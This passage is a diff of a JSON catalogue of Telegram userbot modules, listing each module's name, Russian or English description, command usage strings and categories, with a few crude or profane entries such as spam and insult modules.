.bio command, set a new bio for your profile." - } - }, - { - "username": { - "ru_doc": null, - "en_doc": null, - "doc": "For .username command, set a new username." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/hearts.py": { - "name": "HeartsMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "lheartscmd": "" - }, - { - "sheartscmd": "" - } - ], - "new_commands": [ - { - "lhearts": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "shearts": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Admin" - ] - }, - "Fl1yd/FTG-Modules/fake.py": { - "name": "FakeActionsMod", - "description": "Показывает фейковые действия.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "fakecmd": "Использование: .fake <действие>.\nСписок действий: typing, contact, game, location, record-audio, record-round, record-video, voice, round, video, photo, document.\nОтмена: .fake cancel" - } - ], - "new_commands": [ - { - "fake": { - "ru_doc": null, - "en_doc": null, - "doc": "Использование: .fake <действие>.\nСписок действий: typing, contact, game, location, record-audio, record-round, record-video, voice, round, video, photo, document.\nОтмена: .fake cancel" - } - } - ], - "category": [ - "Media", - "Tools" - ] - }, - "Fl1yd/FTG-Modules/calendar.py": { - "name": "CalendarMod", - "description": "Календарь", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "clndcmd": ".clnd <год> <месяц> или ничего" - } - ], - "new_commands": [ - { - "clnd": { - "ru_doc": null, - "en_doc": null, - "doc": ".clnd <год> <месяц> или ничего" - } - } - ], - "category": [ - "Tools", - "Social" - ] - }, - "Fl1yd/FTG-Modules/getcommonchats.py": { - "name": "GetCommonChatsMod", - "description": "Общие чаты с пользователем.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "commoncmd": "Используй .common <@ или реплай>, чтобы узнать общие чаты с пользователем." - } - ], - "new_commands": [ - { - "common": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .common <@ или реплай>, чтобы узнать общие чаты с пользователем." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/gsbl.py": { - "name": "GSBLMod", - "description": "Фановый, мемный модуль.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "gsblcmd": "Используй .gsbl <реплай на картинку/стикер>." - } - ], - "new_commands": [ - { - "gsbl": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .gsbl <реплай на картинку/стикер>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/count.py": { - "name": "CountMod", - "description": "Количество чатов.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "countcmd": "" - } - ], - "new_commands": [ - { - "count": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/quotes.py": { - "name": "QuotesMod", - "description": "Quote a message", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "quotecmd": "" - } - ], - "new_commands": [ - { - "quote": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "Fl1yd/FTG-Modules/impostor.py": { - "name": "ImpMod", - "description": "Among Us", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "impcmd": "Используй: .imp <@ или текст или реплай>." - }, - { - "ruimpcmd": "Используй: .ruimp <@ или текст или реплай>." - } - ], - "new_commands": [ - { - "imp": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .imp <@ или текст или реплай>." - } - }, - { - "ruimp": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .ruimp <@ или текст или реплай>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/report.py": { - "name": "ReportMod", - "description": "Репорт", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "reportcmd": "Репорт пользователя за спам." - } - ], - "new_commands": [ - { - "report": { - "ru_doc": null, - "en_doc": null, - "doc": "Репорт пользователя за спам." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/k&ktext.py": { - "name": "KKTextMod", - "description": "K&K Text by @ktxtBot", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "kktcmd": "Используйте .kkt <текст или реплай>." - } - ], - "new_commands": [ - { - "kkt": { - "ru_doc": null, - "en_doc": null, - "doc": "Используйте .kkt <текст или реплай>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/chatinfo.py": { - "name": "ChatInfoMod", - "description": "Показывает информацию о чате.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "chatinfocmd": "Используй .chatinfo <айди чата>; ничего" - } - ], - "new_commands": [ - { - "chatinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .chatinfo <айди чата>; ничего" - } - } - ], - "category": [ - "Automation", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/don`t_work.py": { - "name": "DontWorkMod", - "description": "Модуль не работает.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "dontworkcmd": "Используй .dontwork, чтобы понять, что модуль не работает." - } - ], - "new_commands": [ - { - "dontwork": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .dontwork, чтобы понять, что модуль не работает." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/uploader.py": { - "name": "UploaderMod", - "description": "Загрузчик на fl1yd.ml", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "mulcmd": "Загрузить модуль на сервер." - }, - { - "fulcmd": "Загрузить файл на сервер." - } - ], - "new_commands": [ - { - "mul": { - "ru_doc": null, - "en_doc": null, - "doc": "Загрузить модуль на сервер." - } - }, - { - "ful": { - "ru_doc": null, - "en_doc": null, - "doc": "Загрузить файл на сервер." - } - } - ], - "category": [ - "Security", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/hiddenurl.py": { - "name": "HiddenUrlMod", - "description": "Скрывает ссылку под невидимый текст.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "hidecmd": "Используй .hide <url> <текст или реплай на медиа>." - } - ], - "new_commands": [ - { - "hide": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .hide <url> <текст или реплай на медиа>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/vsratomemes.py": { - "name": "VsratoMemesMod", - "description": "Всратые мемы.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "wolfcmd": "\"Используй .wolf." - }, - { - "vsratocmd": "Используй .vsrato <реплай на пикчу>." - } - ], - "new_commands": [ - { - "wolf": { - "ru_doc": null, - "en_doc": null, - "doc": "\"Используй .wolf." - } - }, - { - "vsrato": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .vsrato <реплай на пикчу>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/myhelp.py": { - "name": "HelpMod", - "description": "Описание этого модуля.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "helpcmd": ".help <название модуля>." - }, - { - "supportcmd": "Вступить в канал авторских модулей." - } - ], - "new_commands": [ - { - "help": { - "ru_doc": null, - "en_doc": null, - "doc": ".help <название модуля>." - } - }, - { - "support": { - "ru_doc": null, - "en_doc": null, - "doc": "Вступить в канал авторских модулей." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/textonphoto.py": { - "name": "TextOnPhotoMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "bottomcmd": "Используй: .bottom {реплай на картинку/стикер} <white/black>;ничего <текст>." - }, - { - "topcmd": "Используй: .top {реплай на картинку/стикер} <white/black>;ничего <текст>." - }, - { - "centercmd": "Используй: .center {реплай на картинку/стикер} <white/black>;ничего <текст>." - } - ], - "new_commands": [ - { - "bottom": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .bottom {реплай на картинку/стикер} <white/black>;ничего <текст>." - } - }, - { - "top": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .top {реплай на картинку/стикер} <white/black>;ничего <текст>." - } - }, - { - "center": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .center {реплай на картинку/стикер} <white/black>;ничего <текст>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/ownerships.py": { - "name": "OwnershipsMod", - "description": "Посмотреть свои владения.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "owncmd": "Команда .own выводит список владений открытых чатов/каналов. " - } - ], - "new_commands": [ - { - "own": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .own выводит список владений открытых чатов/каналов. " - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "Fl1yd/FTG-Modules/zapomni_zabud_sogl.py": { - "name": "ZapomniZabudSoglMod", - "description": "Запомните;забудьте твари, согласен.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "zapcmd": ".zap <текст или реплай>" - }, - { - "zabcmd": ".zab <текст или реплай>" - }, - { - "soglcmd": ".sogl <текст или реплай>" - } - ], - "new_commands": [ - { - "zap": { - "ru_doc": null, - "en_doc": null, - "doc": ".zap <текст или реплай>" - } - }, - { - "zab": { - "ru_doc": null, - "en_doc": null, - "doc": ".zab <текст или реплай>" - } - }, - { - "sogl": { - "ru_doc": null, - "en_doc": null, - "doc": ".sogl <текст или реплай>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/freeomonbot.py": { - "name": "OmonBotMod", - "description": "Омон бот.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "omoncmd": "Используй .omon <реплай на пикчу>." - } - ], - "new_commands": [ - { - "omon": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .omon <реплай на пикчу>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/AudioShakal.py": { - "name": "AudioShakalMod", - "description": "АудиоШакал", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "fvcmd": "<b>.fv <reply to voice/mp3/ogg/oga> [шакал_lvl(не обязательно, по умолчанию 100 (от 10 до 100))]\nСшакалить войс/mp3/ogg/oga</b>" - } - ], - "new_commands": [ - { - "fv": { - "ru_doc": null, - "en_doc": null, - "doc": "<b>.fv <reply to voice/mp3/ogg/oga> [шакал_lvl(не обязательно, по умолчанию 100 (от 10 до 100))]\nСшакалить войс/mp3/ogg/oga</b>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/weather.py": { - "name": "WeatherMod", - "description": "Погода с сайта wttr.in", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "pwcmd": "\"Кидает погоду картинкой.\nИспользование: .pw <город>; ничего." - }, - { - "awcmd": "Кидает погоду ascii-артом.\nИспользование: .aw <город>; ничего." - } - ], - "new_commands": [ - { - "pw": { - "ru_doc": null, - "en_doc": null, - "doc": "\"Кидает погоду картинкой.\nИспользование: .pw <город>; ничего." - } - }, - { - "aw": { - "ru_doc": null, - "en_doc": null, - "doc": "Кидает погоду ascii-артом.\nИспользование: .aw <город>; ничего." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/spam.py": { - "name": "SpamMod", - "description": "Спам модуль", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "spamcmd": "Обычный спам. Используй .spam <кол-во:int> <текст или реплай>." - }, - { - "cspamcmd": "Спам символами. Используй .cspam <текст или реплай>." - }, - { - "wspamcmd": "Спам словами. Используй .wspam <текст или реплай>." - }, - { - "delayspamcmd": "Спам с задержкой. Используй .delayspam <время:int> <кол-во:int> <текст или реплай>." - } - ], - "new_commands": [ - { - "spam": { - "ru_doc": null, - "en_doc": null, - "doc": "Обычный спам. Используй .spam <кол-во:int> <текст или реплай>." - } - }, - { - "cspam": { - "ru_doc": null, - "en_doc": null, - "doc": "Спам символами. Используй .cspam <текст или реплай>." - } - }, - { - "wspam": { - "ru_doc": null, - "en_doc": null, - "doc": "Спам словами. Используй .wspam <текст или реплай>." - } - }, - { - "delayspam": { - "ru_doc": null, - "en_doc": null, - "doc": "Спам с задержкой. Используй .delayspam <время:int> <кол-во:int> <текст или реплай>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/nowplay.py": { - "name": "NowPlayMod", - "description": "Что сейчас играет.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "npcmd": "Скидывает то, что сейчас играет." - } - ], - "new_commands": [ - { - "np": { - "ru_doc": null, - "en_doc": null, - "doc": "Скидывает то, что сейчас играет." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/onava.py": { - "name": "OnAvaMod", - "description": "Гифку/видео/стикер на аву.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "onavacmd": "Установить на аву гифку/видео/стикер.\nИспользование: .onava <реплай>." - }, - { - "togifcmd": "Сделать из медиа гифку.\nИспользование: .togif <реплай>." - } - ], - "new_commands": [ - { - "onava": { - "ru_doc": null, - "en_doc": null, - "doc": "Установить на аву гифку/видео/стикер.\nИспользование: .onava <реплай>." - } - }, - { - "togif": { - "ru_doc": null, - "en_doc": null, - "doc": "Сделать из медиа гифку.\nИспользование: .togif <реплай>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Fl1yd/FTG-Modules/arts.py": { - "name": "ArtsMod", - "description": "Юникод арты", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "vjuhcmd": "Используй .vjuh <текст>." - }, - { - "cowsaycmd": "Используй .cowsay <текст>." - }, - { - "padayucmd": "Используй .padayu <текст>; ничего." - }, - { - "priletelcmd": "Используй .prilitel <текст>; ничего." - }, - { - "huytebecmd": "Используй .huytebe <текст>; ничего." - }, - { - "lolcmd": "Используй .lol." - }, - { - "fuckyoucmd": "Используй .fuckyou." - }, - { - "housecmd": "Используй .house." - }, - { - "hellocmd": "Используй .hello." - }, - { - "coffeecmd": "Используй .coffee <текст>; ничего." - }, - { - "tvcmd": "Используй .tv <текст>; ничего." - }, - { - "grencmd": "Используй .gren <текст>; ничего." - }, - { - "bruhcmd": "Используй .bruh." - }, - { - "unocmd": "Используй .uno." - }, - { - "huycmd": "Используй .huy <emoji>; ничего." - }, - { - "impscmd": "Используй .imps <@ или реплай>." - }, - { - "fcmd": "Используй .f" - } - ], - "new_commands": [ - { - "vjuh": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .vjuh <текст>." - } - }, - { - "cowsay": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .cowsay <текст>." - } - }, - { - "padayu": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .padayu <текст>; ничего." - } - }, - { - "priletel": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .prilitel <текст>; ничего." - } - }, - { - "huytebe": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .huytebe <текст>; ничего." - } - }, - { - "lol": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .lol." - } - }, - { - "fuckyou": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .fuckyou." - } - }, - { - "house": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .house." - } - }, - { - "hello": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .hello." - } - }, - { - "coffee": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .coffee <текст>; ничего." - } - }, - { - "tv": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .tv <текст>; ничего." - } - }, - { - "gren": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .gren <текст>; ничего." - } - }, - { - "bruh": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .bruh." - } - }, - { - "uno": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .uno." - } - }, - { - "huy": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .huy <emoji>; ничего." - } - }, - { - "imps": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .imps <@ или реплай>." - } - }, - { - "f": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .f" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/chatgptfree.py": { - "name": "ChatGPTfreeMod", - "description": "Бесплатный модуль для ChatGPT\nhttps://t.me/Jarvis_IT_Assistant_bot\nСначала запустите бота и отключите уведомления", - "meta": { - "pic": null, - "banner": null, - "developer": "@vsecoder_m" - }, - "commands": [ - { - "chatgptfreecmd": "{text} - обработать текст через ChatGPT" - }, - { - "contextgptcmd": "- сбросить диалог и начать новый" - } - ], - "new_commands": [ - { - "chatgptfree": { - "ru_doc": null, - "en_doc": null, - "doc": "{text} - обработать текст через ChatGPT" - } - }, - { - "contextgpt": { - "ru_doc": null, - "en_doc": null, - "doc": "- сбросить диалог и начать новый" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/profile.py": { - "name": "Profilemod", - "description": "Module for get beautiful picture profile statistic", - "meta": { - "pic": "https://img.icons8.com/office/344/administrator-male--v1.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/office/344/administrator-male--v1.png&title=Profilemod&description=Telegram%20Profile%20Statistic", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "profilecmd": "- get" - } - ], - "new_commands": [ - { - "profile": { - "ru_doc": null, - "en_doc": null, - "doc": "- get" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "vsecoder/hikka_modules/Limoka.py": { - "name": "Limoka", - "description": "Hikka modules are now in one place with easy searching!", - "meta": { - "pic": null, - "banner": null, - "developer": "@limokanews" - }, - "commands": [ - { - "limoka": "[query] - Search module" - } - ], - "new_commands": [ - { - "limoka": { - "ru_doc": null, - "en_doc": null, - "doc": "[query] - Search module" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/googleit.py": { - "name": "GoogleItMod", - "description": "Module for google search", - "meta": { - "pic": "https://img.icons8.com/bubbles/344/google-logo.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/bubbles/344/google-logo.png&title=GoogleIT&description=Google%20search%20module%20for%20userbot", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "googleitcmd": "{text} - text to search" - } - ], - "new_commands": [ - { - "googleit": { - "ru_doc": null, - "en_doc": null, - "doc": "{text} - text to search" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/ymnowbeta.py": { - "name": "YmNowBetaMod", - "description": "Module for yandex music. Based on SpotifyNow, YaNow and WakaTime. [BETA]", - "meta": { - "pic": "https://img.freepik.com/premium-vector/yandex-music-logo_578229-242.jpg", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.freepik.com/premium-vector/yandex-music-logo_578229-242.jpg&title=YMNow&description=Module%20for%20yandex%20music", - "developer": "@vsecoder_m", - "desc": "Module for yandex music. Based on SpotifyNow, YaNow and WakaTime [beta]" - }, - "commands": [ - { - "ynowcmd": "Get now playing track" - }, - { - "ybio": "Show now playing track in your bio" - } - ], - "new_commands": [ - { - "ynow": { - "ru_doc": null, - "en_doc": null, - "doc": "Get now playing track" - } - }, - { - "ybio": { - "ru_doc": null, - "en_doc": null, - "doc": "Show now playing track in your bio" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/hentaimanga.py": { - "name": "HentaiMangaMod", - "description": null, - "meta": { - "pic": null, - "banner": "https://i.imgur.com/8UYznku.jpeg", - "developer": "@shadow_modules, @toxicuse, @vsecoder" - }, - "commands": [ - { - "rnd_hentai_mangacmd": "{hentai_api_name: optional} - рандомная хентай-манга" - }, - { - "get_hentai_mangacmd": "{hentai_api_name} {id} - получить хентай-мангу" - } - ], - "new_commands": [ - { - "rnd_hentai_manga": { - "ru_doc": null, - "en_doc": null, - "doc": "{hentai_api_name: optional} - рандомная хентай-манга" - } - }, - { - "get_hentai_manga": { - "ru_doc": null, - "en_doc": null, - "doc": "{hentai_api_name} {id} - получить хентай-мангу" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "vsecoder/hikka_modules/speechcensorship.py": { - "name": "SpeechCensorshipMod", - "description": "Module for censoring your speech", - "meta": { - "pic": null, - "banner": null, - "developer": "@vsecoder_m" - }, - "commands": [ - { - "censorshipcmd": "Turn on/off censorship mode" - } - ], - "new_commands": [ - { - "censorship": { - "ru_doc": null, - "en_doc": null, - "doc": "Turn on/off censorship mode" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/hypixel.py": { - "name": "HypixelMod", - "description": "Module for getting information about minecraft Hypixel player (beta)", - "meta": { - "pic": "https://img.icons8.com/cute-clipart/64/minecraft-logo.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/cute-clipart/64/minecraft-logo.png&title=Hypixel&description=Module%20for%20getting%20information%20about%20minecraft%20Hypixel%20player", - "developer": "@vsecoder_m", - "desc": "Module for getting information about minecraft Hypixel player" - }, - "commands": [ - { - "statcmd": "Get stats about Hypixel player" - } - ], - "new_commands": [ - { - "stat": { - "ru_doc": null, - "en_doc": null, - "doc": "Get stats about Hypixel player" - } - } - ], - "category": [ - "Tools", - "Admin" - ] - }, - "vsecoder/hikka_modules/calc.py": { - "name": "CalcMod", - "description": "Module for inline calc", - "meta": { - "pic": "https://img.icons8.com/color/344/calculate.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/color/344/calculate.png&title=Calc&description=Module%20for%20inline%20calc", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "calccmd": " - init calc\nBased on... my code)" - } - ], - "new_commands": [ - { - "calc": { - "ru_doc": null, - "en_doc": null, - "doc": " - init calc\nBased on... my code)" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "vsecoder/hikka_modules/formatter.py": { - "name": "FormatterMod", - "description": "Module for prettifying the formatting of messages 🪛\n\n📌 For example write:\n--------------------\nHi, now is {now}, today is {today}, yesterday is {yesterday}, my id is {id}, username is @{username}...\n\n⌨️ Keyboard:\n~\n📥 Modules $ https://t.me/vsecoder_m\n👨‍💻 Dev $ https://t.me/vsecoder\n--------------------\n\nP.S. \"~\" is a separator for keyboard and message.\n \"$\" is a separator for button and link.", - "meta": { - "pic": "https://img.icons8.com/fluency/344/pen-1.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/fluency/344/pen-1.png&title=FormatterMod&description=Module%20for%20prettifying%20the%20formatting%20of%20messages", - "developer": "@vsecoder_m" - }, - "commands": [], - "new_commands": [], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/wikimod.py": { - "name": "WikiMod", - "description": "Module for wikipedia search", - "meta": { - "pic": "https://img.icons8.com/cute-clipart/344/wikipedia.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/cute-clipart/344/wikipedia.png&title=Wikipedia&description=Module%20for%20wikipedia%20search", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "wikicmd": "<text> - search in wikipedia" - } - ], - "new_commands": [ - { - "wiki": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> - search in wikipedia" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/steam.py": { - "name": "SteamMod", - "description": "Module for get Steam account information\n\nLater (TODO):\n- achivments list\n- {STEAM} widget", - "meta": { - "pic": "https://img.icons8.com/3d-fluency/94/steam.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/3d-fluency/94/steam.png&title=Steam&description=Module%20for%20get%20Steam%20account%20information", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "steamcmd": "- get steam profile" - } - ], - "new_commands": [ - { - "steam": { - "ru_doc": null, - "en_doc": null, - "doc": "- get steam profile" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/biopage.py": { - "name": "BioPageMod", - "description": "Module for create bio page", - "meta": { - "pic": "https://img.icons8.com/external-filled-outline-wichaiwi/344/external-page-uxui-design-filled-outline-wichaiwi.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/external-filled-outline-wichaiwi/344/external-page-uxui-design-filled-outline-wichaiwi.png&title=BioPage&description=Module%20for%20create%20bio%20page", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "biotogglecmd": " - toggle bio page(default: off)\nBased on... my code)" - } - ], - "new_commands": [ - { - "biotoggle": { - "ru_doc": null, - "en_doc": null, - "doc": " - toggle bio page(default: off)\nBased on... my code)" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/ascii.py": { - "name": "AsciiMod", - "description": "Module for convert image to ascii", - "meta": { - "pic": "https://img.icons8.com/color/344/asc.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/color/344/asc.png&title=AsciiMod&description=Module%20for%20convert%20image%20to%20ascii", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "asciicmd": "<reply_to_image> - convert image to ascii" + "asciicmd": "| Get random ascii face" } ], "new_commands": [ @@ -21907,7 +39379,189 @@ "ascii": { "ru_doc": null, "en_doc": null, - "doc": "<reply_to_image> - convert image to ascii" + "doc": "| Get random ascii face" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "AmoreForever/amoremods/fileext.py": { + "name": "FileExtMod", + "description": "Get file extention details", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/fileext.jpg", + "developer": "@hikamorumods" + }, + "commands": [ + { + "fileext": "Get file extention details" + } + ], + "new_commands": [ + { + "fileext": { + "ru_doc": null, + "en_doc": null, + "doc": "Get file extention details" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "AmoreForever/amoremods/dtwr.py": { + "name": "DTWRMod", + "description": "Module Don't tag wihout reason", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/DTWR.jpg", + "developer": "@hikamorumods" + }, + "commands": [ + { + "cfgdtwrcmd": "This module config" + } + ], + "new_commands": [ + { + "cfgdtwr": { + "ru_doc": null, + "en_doc": null, + "doc": "This module config" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "AmoreForever/amoremods/universaltime.py": { + "name": "UniversalTimeMod", + "description": "See the time of other countries", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Universaltime.jpg", + "developer": "@amoremods" + }, + "commands": [ + { + "atimecmd": "See time" + }, + { + "atimeicmd": "See time on inline mode" + } + ], + "new_commands": [ + { + "atime": { + "ru_doc": null, + "en_doc": null, + "doc": "See time" + } + }, + { + "atimei": { + "ru_doc": null, + "en_doc": null, + "doc": "See time on inline mode" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "AmoreForever/amoremods/abstract.py": { + "name": "AbstractMod", + "description": "Write a beautiful summary on a notebook", + "meta": { + "pic": "https://te.legra.ph/file/868a280910e7f61f6ab0e.png", + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Abstract.jpg", + "developer": "@hikamorumods" + }, + "commands": [ + { + "konspcmd": "<text> - Create summary <текст> - Создать конспект" + } + ], + "new_commands": [ + { + "konsp": { + "ru_doc": "<текст> - Создать конспект", + "en_doc": null, + "doc": "<text> - Create summary" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "AmoreForever/amoremods/wakatime.py": { + "name": "Wakatime", + "description": "Show your Wakatime stats", + "meta": { + "pic": null, + "banner": "https://github.com/AmoreForever/shizuassets/blob/master/wakatime.jpg?raw=true", + "developer": "@hikamorumods" + }, + "commands": [ + { + "waka": "See your stat" + } + ], + "new_commands": [ + { + "waka": { + "ru_doc": null, + "en_doc": null, + "doc": "See your stat" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "AmoreForever/amoremods/bull.py": { + "name": "BullMod", + "description": "Bull пиз#а собеседнику", + "meta": { + "pic": "https://te.legra.ph/file/7772a7dae6290f0a612a6.png", + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Bull.jpg", + "developer": "@hikamorumods" + }, + "commands": [ + { + "bullcmd": "Забулить кого-то жесткими матами про мать" + }, + { + "bullicmd": "Забулить кого-то жесткими матами про мать (inline)" + } + ], + "new_commands": [ + { + "bull": { + "ru_doc": null, + "en_doc": null, + "doc": "Забулить кого-то жесткими матами про мать" + } + }, + { + "bulli": { + "ru_doc": null, + "en_doc": null, + "doc": "Забулить кого-то жесткими матами про мать (inline)" } } ], @@ -21916,540 +39570,35 @@ "Tools" ] }, - "vsecoder/hikka_modules/vsecodertranslate.py": { - "name": "VseTranslateMod", - "description": "Traslate text", - "meta": { - "pic": "https://img.icons8.com/external-vitaliy-gorbachev-lineal-color-vitaly-gorbachev/344/external-translate-online-learning-vitaliy-gorbachev-lineal-color-vitaly-gorbachev.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/external-vitaliy-gorbachev-lineal-color-vitaly-gorbachev/344/external-translate-online-learning-vitaliy-gorbachev-lineal-color-vitaly-gorbachev.png&title=VsecoderTranlate&description=Telegram%20Translate%20Bot", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "vsetranslatecmd": " [from_language] [to_language] [text]\n.vsetranslate en ru Hello, world!" - } - ], - "new_commands": [ - { - "vsetranslate": { - "ru_doc": null, - "en_doc": null, - "doc": " [from_language] [to_language] [text]\n.vsetranslate en ru Hello, world!" - } - } - ], - "category": [ - "Tools", - 